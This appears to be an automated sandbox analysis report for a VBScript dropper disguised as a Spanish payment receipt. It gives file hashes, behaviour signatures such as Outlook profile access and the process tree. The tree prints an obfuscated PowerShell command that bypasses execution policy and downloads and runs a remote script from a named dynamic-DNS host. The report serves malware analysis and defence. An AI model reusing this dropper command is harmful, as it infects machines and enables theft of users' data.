Analysis

  • max time kernel
    115s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-11-2022 08:41

General

  • Target

    JUSTIFICANTE DE PAGO,pdf.vbs

  • Size

    722B

  • MD5

    04e47e5f5b9f59e48c54939992252fd9

  • SHA1

    5b3d989972677faf61eb5aadb194fc441a93a1ab

  • SHA256

    051bc8ae84b32374b0b3372aecb972f2b41a8626e302ea18e6178933ecfecb22

  • SHA512

    08c7de2e1530551a3b32c4d88ce56f1d4031c7f05d8e5bfd0de1d5d8edaada46f9d1b8dc89beeb58a29710b579c4732dfb400fc6ccb36e838335188b60ab93f8

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://khghfsaguvtyrioukjhgfydfgbhnyjhbgvdcertrtbgnhhbjctryvbgnhmihgyr.ydns.eu/qazxswedcvfrtgbnhyujm/waswaswaswa.ps1

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\JUSTIFICANTE DE PAGO,pdf.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5056
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec ByPaSs -C i`Ex(nE`w-OBj`ecT ('N'+'et.Webcl'+'ie'+'nt')).('Do'+'wn'+'loadStri'+'ng').Invoke('http://khghfsaguvtyrioukjhgfydfgbhnyjhbgvdcertrtbgnhhbjctryvbgnhmihgyr.ydns.eu/qazxswedcvfrtgbnhyujm/waswaswaswa.ps1')
      2⤵
      • Blocklisted process makes network request
      • Accesses Microsoft Outlook profiles
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • outlook_office_path
      • outlook_win_path
      PID:1240
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kwphdza2\kwphdza2.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES94E2.tmp" "c:\Users\Admin\AppData\Local\Temp\kwphdza2\CSCFDB21F685E3349799A4078AE2D90B4A5.TMP"
          4⤵
            PID:2688

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RES94E2.tmp

      Filesize

      1KB

      MD5

      ff8eea256072c341bc337d11cd6460ff

      SHA1

      9ad340850b6f0d078a91ae2f2fd059e2b99195da

      SHA256

      1712f355d1e3e35c075b0f07bab75371f0556a24231e7512a68f3c7d23154c2f

      SHA512

      1f5d0eb071381879535df6708c23bba875c1d2f140e46dc216ede5a551e4d1993a7ce625863451a8f8de4492bf18686ede976f223f5cb95476d3cea697b79eee

    • C:\Users\Admin\AppData\Local\Temp\kwphdza2\kwphdza2.dll

      Filesize

      5KB

      MD5

      38105267447d0bc65c5f99f3ba4abb3c

      SHA1

      6a8eecd1b7f69a9109e0bd1e23fc6be9c07d32a7

      SHA256

      9ef62b9e3eca08fbfbd63fc0ebfa92109ee7b36c49177de5f15f98444f5d59b3

      SHA512

      e5c29614f9eba01f4c99669bb5b3915246112d19271790116231e850afd774cd13eec8f792bfb36e756d9e0e7a0068d46d07e4ddba01ec76375e0ce247943cae

    • \??\c:\Users\Admin\AppData\Local\Temp\kwphdza2\CSCFDB21F685E3349799A4078AE2D90B4A5.TMP

      Filesize

      652B

      MD5

      aaad3582a9ca2855fb3569e9b0cf8bc9

      SHA1

      aae9c09c3b0fb96496267f9aa77a847daae33e2a

      SHA256

      385de8a127b677773bbe8b9c9fb6fa15bbb15c51bc7722628394d8d484ad57df

      SHA512

      58dd3f24acb44f69733027f7676a59c8c798c299e8bebfb9070cf61e56f26ad286050f1f92a0bcb68f9ce237004bf8b74a0c908943f5e611791d156b59a17ccd

    • \??\c:\Users\Admin\AppData\Local\Temp\kwphdza2\kwphdza2.0.cs

      Filesize

      1KB

      MD5

      2d821e64622bd1c7e8d9cbd7906d7e93

      SHA1

      44ce279eee1ac333c09cee731432dbd79fd735a7

      SHA256

      95690250100bb794cb88e93bcbf58994745ed7985f7370146ecf4b78514813ac

      SHA512

      82d0741913eb7ac945008a613bb5e11047db3b20a3bfbc6d50b7ef6350965854d7f8576998012000f8661df149f67e38123269bc352bcc72488a5988afd17980

    • \??\c:\Users\Admin\AppData\Local\Temp\kwphdza2\kwphdza2.cmdline

      Filesize

      369B

      MD5

      8c8b4c7585dc7240b5aa141ededee740

      SHA1

      4d864b4949efdfea19b6aa7ae63aab53382813b8

      SHA256

      9f4ca4509b1478e9e062bc2640ce46f5f1130a96af7763f64cb38975d24e9a9b

      SHA512

      07f3d189a045ffa6733b4ae810acd7218b4669b8bfb8573017151b5cfdcf8b7b4f97deaa47d77404d42762f0fc7d778688a9d69365c4fc01b177bb01f72601e4

    • memory/1240-132-0x0000000000000000-mapping.dmp

    • memory/1240-133-0x00000191BBA50000-0x00000191BBA72000-memory.dmp

      Filesize

      136KB

    • memory/1240-134-0x00007FFF7B8F0000-0x00007FFF7C3B1000-memory.dmp

      Filesize

      10.8MB

    • memory/1240-142-0x00000191D5B40000-0x00000191D5B90000-memory.dmp

      Filesize

      320KB

    • memory/1240-143-0x00007FFF7B8F0000-0x00007FFF7C3B1000-memory.dmp

      Filesize

      10.8MB

    • memory/2688-138-0x0000000000000000-mapping.dmp

    • memory/4216-135-0x0000000000000000-mapping.dmp